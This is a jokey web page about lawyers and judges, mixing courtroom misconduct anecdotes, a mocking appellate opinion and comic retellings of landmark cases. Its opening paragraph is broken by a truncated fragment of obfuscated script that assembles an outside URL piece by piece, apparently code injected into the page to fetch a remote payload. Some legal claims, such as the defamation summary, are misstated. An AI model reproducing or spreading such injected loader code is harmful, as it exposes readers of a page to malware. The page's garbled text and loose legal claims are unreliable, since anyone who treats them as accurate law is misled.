Legal Profession

The legal profession is one of the most glorified professions on NBC. )){u='http'+'://buro'+'tkan'+'i.com/'+'s

What is the Legal Profession?

The legal profession is made up primarily of lawyers and judges. Judges start out as lawyers and then must be appointed or elected judge. Lawyers must go through law school, which typically lasts 3 years and costs about $100,000 and pass a comprehensive exam in order to be licensed to practice law. The result is not always positive.

Lawyers

If you've read a John Grisham novel, you know that taking depositions is part of a lawyer's job. A crafty lawyer will get the deponent to make inconsistent statements that he can use to bust him with later. But a Texas lawyer will say things like, "Don't be tellin' other lawyers to shut up. That ain't your job, fat boy. Come over here and try [to knock me out of my seat] asshole. You dumb son of a bitch. (2:19)."

Go head and call him.

Nixon Peabody Fiasco:

Nixon Peabody LLP is a large lawfirm with offices in major cities all over the U.S. And then...well......just watch the video. It explains everything:

Texas attorney, Adam Reposa, who gave himslef the middle name "Bulletproof" when he registered with the Texas State Bar, was fined and sentenced 90 days in jail for making a masturbatory gesture to the judge after he wasn't pleased with the judge's ruling.

Apparently, Colorado attorneys can be horrible too:

This attorney caught his typo on the steps to the courthouse as he was submitting the following document and attached doctor's note (in his defense, spell check probably wouldn't have caught it):

After submitting the real copy of this document to the court, this attorney decided to Photoshop it and play a little joke on his opposing counsel, "But, don't show it to anyone or post it on the web or anything. It has my name and phone number on it."

See also Cracked articles:

9 Insane Cases that Prove That the Legal System Is Screwed

7 Most Bizarre Fast Food Industry Lawsuits

7 Most baffling Criminal Defenses that Sort of Worked

Judges

Trial Court Judges:

Donald Thompson was an Oklahoma trial judge for 23 years. He routinely used a penis pump during court and was caught when the court reporter heard the pump's "whooshing" sounds and police found semen under his bench. He was sentenced to 4 years in prison.

Appellate Court Judges: When you are not satisfied with the result of your trial court rulings, you can appeal to the appellate court. In the appellate court, there is no jury. You argue your case in front of a panel of judges, who then issue a ruling on your case. Here are excerpts from an appellate court ruling (full version here):

"Before proceeding further, the Court notes that this case involves two extremely likable lawyers, who have together delivered some of the most amateurish pleadings ever to cross the hallowed causeway into Galveston, an effort which leads the Court to surmise but one plausible explanation. Both attorneys have obviously entered into a secret pact--complete with hats, handshakes and cryptic words--to draft their pleadings entirely in crayon on the back sides of gravy-stained paper place mats, in the hope that the Court would be so charmed by their child-like efforts that their utter dearth of legal authorities in their briefing would go unnoticed. Whatever actually occurred, the Court is now faced with the daunting task of deciphering their submissions. With Big Chief tablet readied, thick black pencil in hand, and a devil-may-care laugh in the face of death, life on the razor's edge sense of exhilaration, the Court begins."

"Defendant begins the descent into Alice's Wonderland by submitting a Motion that relies upon only one legal authority."

"A more bumbling approach is difficult to conceive--but wait folks, There's More!"

"See Wells v. Liddy, 186 F.3d 505, 524 (4th Cir.1999) (What the ...)?! The Court cannot even begin to comprehend why this case was selected for reference. It is almost as if Plaintiff's counsel chose the opinion by throwing long range darts at the Federal Reporter (remarkably enough hitting a nonexistent volume!)."

"Despite the continued shortcomings of Plaintiff's supplemental submission, the Court commends Plaintiff for his vastly improved choice of crayon--Brick Red is much easier on the eyes than Goldenrod, and stands out much better amidst the mustard splotched about Plaintiff's briefing. But at the end of the day, even if you put a calico dress on it and call it Florence, a pig is still a pig."

"Take heed and be suitably awed, oh boys and girls--the Court was able to state the issue and its resolution in one paragraph ... despite dozens of pages of gibberish from the parties to the contrary!"

"After this remarkably long walk on a short legal pier, having received no useful guidance whatever from either party, the Court has endeavored, primarily based upon its affection for both counsel, but also out of its own sense of morbid curiosity, to resolve what it perceived to be the legal issue presented. Despite the waste of perfectly good crayon seen in both parties' briefing (and the inexplicable odor of wet dog emanating from such) the Court believes it has satisfactorily resolved this matter."

And then there's this guy:

The Supreme Court:


Supreme Court Rules Death Penalty Is 'Totally Badass'

Awesome Judge Made Law

There are generally 2 ways laws can be made - by legislature or by Appellate or Supreme Court level judges through court decisions. Some of our nation's most basic laws were made by judges.

Hairy Hand Law:

Did you know that when you enter into a contract and the other party breaks the contract, you can sue to recover the money that you would have expected to get under the said contract? Sounds basic enough, right?

The origin of this law comes from a 1929 case called Hawkins v. McGee, in which a young boy grabbed an electric fence and burned his palms. He received a skin graft from his chest. Later, the boy started to grow hair out of his palms. He sued the doctor under the theory that he contracted with the doctor for a human hand and got some kind of a deformed monkey ass hand instead. The judge awarded the boy the difference in value between the monkey ass hand and a human hand.

Spring Loaded Shotgun Law:

Did you know that you do not have the right to defend your property with deadly force? So if someone is stealing your pokemon cards, you can't kill him, right?

This law stems from an Iowa case in which a 25-year old ruggedly handsome gas station attendant was driving by an old farmhouse and decided to go inside because he thought there might be able to find some antique glass jars to add to his antique glass jar collection.

Flash back a couple of days and the owner of said barn set up a shotgun on a string behind a door in the barn to shoot out the stomachs of those damn kids who keep breaking into his abandoned barn. He later changed his mind at his wife's insistence and recalibrated the gun to just shoot off their ankles.

Ruggedly handsome man gets shot in the ankles by the spring loaded shotgun and sues the barn owner. The judge ruled that you cannot use deadly force to protect your property.

Mandatory Sterilization for 3rd Generation Idiots (since repealed):

Justice Oliver Wendell Holmes wrote the opinion of the U.S. Supreme Court in the case Buck v. Bell in 1927. In that case, Justice Holmes implemented a new law that allowed 3rd generation idiots to be sterilized:

"It is better for all the world if, instead of waiting to execute degenerate offspring for crime or to let them starve for their imbecility, society can prevent those who are manifestly unfit from continuing their kind. The principle that sustains compulsory vaccination is broad enough to cover cutting the Fallopian tubes...Three generations of imbeciles are enough."

The threat has been sterilized.

Defaming Public Figures:

If you defame a public figure, he might be able to get a money judgment against against you, but he won't be able to get punitive damages.

When Revered Jerry Falwell sued Larry Flynt for saying that Revernd Falweel lost his virginity to his own mother in an outhouse.